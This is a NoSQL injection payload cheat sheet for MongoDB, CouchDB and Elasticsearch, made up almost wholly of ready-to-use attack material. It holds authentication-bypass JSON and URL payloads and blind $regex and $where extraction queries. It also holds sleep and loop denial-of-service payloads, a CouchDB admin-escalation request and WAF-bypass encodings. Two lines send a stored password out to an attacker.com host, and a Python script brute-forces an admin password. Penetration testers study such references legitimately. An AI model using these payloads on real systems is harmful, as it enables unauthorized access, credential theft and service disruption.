NoSQL Injection Payloads¶
Quick reference for MongoDB, CouchDB, Elasticsearch.
Detection¶
// JSON injection
{"$gt": ""}
{"$ne": null}
{"$ne": 1}
{"$exists": true}
// URL params
username[$ne]=x&password[$ne]=x
username[$gt]=&password[$gt]=
username[$regex]=.*&password[$regex]=.*
MongoDB Operators¶
// Comparison
$eq - equal
$ne - not equal
$gt - greater than
$gte - greater or equal
$lt - less than
$lte - less or equal
$in - in array
$nin - not in array
// Logical
$or - logical OR
$and - logical AND
$not - negation
$nor - NOR
// Element
$exists - field exists
$type - field type
// Evaluation
$regex - regex match
$where - JS expression
$expr - aggregation expression
Auth Bypass¶
// POST JSON body
{"username": {"$ne": ""}, "password": {"$ne": ""}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": "admin", "password": {"$ne": ""}}
{"username": {"$in": ["admin", "administrator"]}, "password": {"$ne": ""}}
{"username": {"$regex": "^admin"}, "password": {"$ne": ""}}
{"username": {"$exists": true}, "password": {"$exists": true}}
// URL encoded (GET/POST form)
username[$ne]=&password[$ne]=
username=admin&password[$ne]=
username[$gt]=&password[$gt]=
username[$regex]=admin&password[$ne]=
username[$exists]=true&password[$exists]=true
// $or bypass
{"$or": [{"username": "admin"}, {"username": "administrator"}], "password": {"$ne": ""}}
{"username": "admin", "$or": [{"password": {"$ne": ""}}, {"password": {"$regex": ".*"}}]}
// $where bypass (if enabled)
{"username": {"$where": "return true"}, "password": {"$ne": ""}}
{"$where": "this.username == 'admin'"}
{"$where": "return this.password.length > 0"}
Data Extraction¶
$regex Enumeration¶
// Extract password character by character
{"username": "admin", "password": {"$regex": "^a"}}
{"username": "admin", "password": {"$regex": "^ab"}}
{"username": "admin", "password": {"$regex": "^abc"}}
// Case insensitive
{"username": "admin", "password": {"$regex": "^a", "$options": "i"}}
// Username enumeration
{"username": {"$regex": "^a"}, "password": {"$ne": ""}}
{"username": {"$regex": "^ad"}, "password": {"$ne": ""}}
{"username": {"$regex": "^adm"}, "password": {"$ne": ""}}
// Extract field length
{"username": "admin", "password": {"$regex": "^.{8}$"}} // length = 8
$where JavaScript Injection¶
// Boolean extraction
{"$where": "this.password[0] == 'a'"}
{"$where": "this.password.charAt(0) == 'a'"}
{"$where": "this.password.substring(0,1) == 'a'"}
// Length check
{"$where": "this.password.length == 8"}
// Time-based blind
{"$where": "if(this.password[0]=='a'){sleep(5000)}"}
{"$where": "this.password[0]=='a' ? sleep(5000) : 0"}
// With function
{"$where": "function(){return this.password[0]=='a'}"}
// DoS / sleep
{"$where": "sleep(5000)"}
{"$where": "(function(){var x=0;while(x<1000000){x++;}return true;})()"}
$gt/$lt Comparison Extraction¶
// Binary search character values
{"username": "admin", "password": {"$gt": "a"}} // password > "a"?
{"username": "admin", "password": {"$lt": "z"}} // password < "z"?
{"username": "admin", "password": {"$gt": "m"}} // narrow down
Blind NoSQL Injection¶
Boolean-Based¶
// True condition (normal response)
{"username": {"$regex": "^admin"}, "password": {"$ne": ""}}
// False condition (different response)
{"username": {"$regex": "^xyz"}, "password": {"$ne": ""}}
// Data extraction
{"username": "admin", "password": {"$regex": "^a"}} // check first char
{"username": "admin", "password": {"$regex": "^[a-m]"}} // binary search
Time-Based¶
// $where timing
{"$where": "if(this.username=='admin'){sleep(5000);return true;}return false;"}
{"$where": "this.password.match(/^a/) ? sleep(5000) : 0"}
// Heavy computation
{"$where": "var d=new Date();while(new Date()-d<5000){};return true;"}
Error-Based¶
// Trigger type errors
{"username": {"$func": "function(){throw Error(this.password)}"}}
{"$where": "throw this.password"} // may leak in error message
MongoDB Aggregation Injection¶
// Inject into $match stage
{"$match": {"$or": [{"admin": true}, {"$where": "1==1"}]}}
// $lookup injection (SSRF-like)
{"$lookup": {"from": "secret_collection", "localField": "_id", "foreignField": "_id", "as": "leaked"}}
// $out write to collection
{"$out": "pwned"}
// $merge injection
{"$merge": {"into": "public_collection"}}
Object Injection (JS/Node.js)¶
// Prototype pollution to NoSQL
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// req.body pollution
// POST: {"__proto__": {"$gt": ""}}
// Affects: db.find({password: req.body.password})
Node.js/Express Vulnerable Patterns¶
// VULNERABLE: Direct user input in query
app.post('/login', (req, res) => {
db.collection('users').findOne({
username: req.body.username, // ← {"$ne": ""}
password: req.body.password // ← {"$ne": ""}
});
});
// VULNERABLE: qs parser (express default)
// ?username[$ne]=x parses to {username: {"$ne": "x"}}
// VULNERABLE: Unvalidated $where
db.collection('users').find({
$where: `this.name == '${userInput}'` // JS injection
});
// VULNERABLE: String concatenation
db.collection('users').find({
username: eval(`'${userInput}'`) // RCE
});
// VULNERABLE: MongoDB driver with object
const query = {};
query[req.query.field] = req.query.value; // arbitrary operator injection
db.find(query);
CouchDB¶
Auth Bypass¶
Views Injection¶
// Inject into map function
emit(doc._id, doc);
// Design doc injection
{"_id":"_design/pwned","views":{"all":{"map":"function(doc){emit(doc._id,doc)}"}}}
Mango Query Injection¶
// Selector injection
{"selector": {"$or": [{"password": {"$gt": ""}}, {"admin": true}]}}
{"selector": {"type": "user"}, "fields": ["_id", "password"]}
// CouchDB operators
$lt, $lte, $eq, $ne, $gte, $gt
$exists, $type, $in, $nin, $size
$or, $and, $not, $nor, $all
$regex, $mod
Erlang Injection (CVE-2017-12635/12636)¶
PUT /_users/org.couchdb.user:attacker HTTP/1.1
Content-Type: application/json
{
"_id": "org.couchdb.user:attacker",
"name": "attacker",
"type": "user",
"roles": [],
"roles": ["_admin"],
"password": "password"
}
Elasticsearch¶
Query DSL Injection¶
// Inject into bool query
{"query": {"bool": {"should": [{"match_all": {}}]}}}
// Wildcard injection
{"query": {"wildcard": {"password": "*"}}}
// Script injection (if enabled)
{"query": {"script": {"script": "doc['password'].value"}}}
// Lucene query string injection
{"query": {"query_string": {"query": "* OR password:*"}}}
SSRF via Scripting¶
// Groovy script (older versions)
{"script": {"script": "java.net.URL('http://attacker.com/'+doc['password'].value).text"}}
// Painless script
{"script": {"source": "doc['secret'].value", "lang": "painless"}}
Index Manipulation¶
// List all indices
GET /_cat/indices?v
// Dump all docs
GET /_search?q=*&size=10000
GET /index_name/_search?q=*
// Get mappings (schema)
GET /_mapping
GET /index_name/_mapping
Common Endpoints¶
GET /_cluster/health
GET /_cat/nodes?v
GET /_cat/indices?v
GET /_all/_search?q=*
GET /_search?pretty
GET /index/_doc/id
POST /_search {"query":{"match_all":{}}}
SSRF via MongoDB¶
// BSON Binary with HTTP
{"$where": "var http=new XMLHttpRequest();http.open('GET','http://attacker.com/'+this.password,false);http.send();"}
// MongoDB Wire Protocol (internal)
// Connect to other MongoDB instances
Tools¶
# NoSQLMap
python nosqlmap.py -u "http://target.com/login" --data "username=admin&password=test"
# Nuclei templates
nuclei -u "http://target.com" -t nosqli-*.yaml
# Manual with curl
curl -X POST "http://target.com/login" \
-H "Content-Type: application/json" \
-d '{"username":{"$ne":""},"password":{"$ne":""}}'
# URL encoded
curl "http://target.com/login?username[\$ne]=&password[\$ne]="
# Burp Suite payloads
# Use param miner + intruder with NoSQL operators
Extraction Script¶
import requests
import string
url = "http://target.com/login"
chars = string.ascii_lowercase + string.digits
password = ""
while True:
found = False
for c in chars:
payload = {
"username": "admin",
"password": {"$regex": f"^{password}{c}"}
}
r = requests.post(url, json=payload)
if "success" in r.text: # adjust condition
password += c
print(f"Found: {password}")
found = True
break
if not found:
break
print(f"Password: {password}")
WAF Bypass¶
// Unicode encoding
{"\u0024ne": ""}
{"\u0024gt": ""}
{"\u0024regex": ".*"}
// Mixed case (some parsers)
{"$NE": ""}
{"$Ne": ""}
// Nested operators
{"username": {"$not": {"$eq": "invalid"}}}
// $expr instead of $where
{"$expr": {"$eq": [{"$substr": ["$password", 0, 1]}, "a"]}}
// Alternative regex syntax
{"password": {"$regex": "(?i)^admin"}}
{"password": /^admin/i} // (if JS context)
Checklist¶
- Test operators:
$ne,$gt,$regex,$exists - Check both JSON body and URL params
- Try
$wherefor JS execution - Enumerate with
$regexcharacter-by-character - Check for prototype pollution
- Test aggregation pipeline injection
- Look for CouchDB/Elasticsearch endpoints
- Verify error messages for data leakage
Quick Test
{"$ne":""} in any field → if behavior changes, likely injectable
Use NoSQLMap for automated exploitation.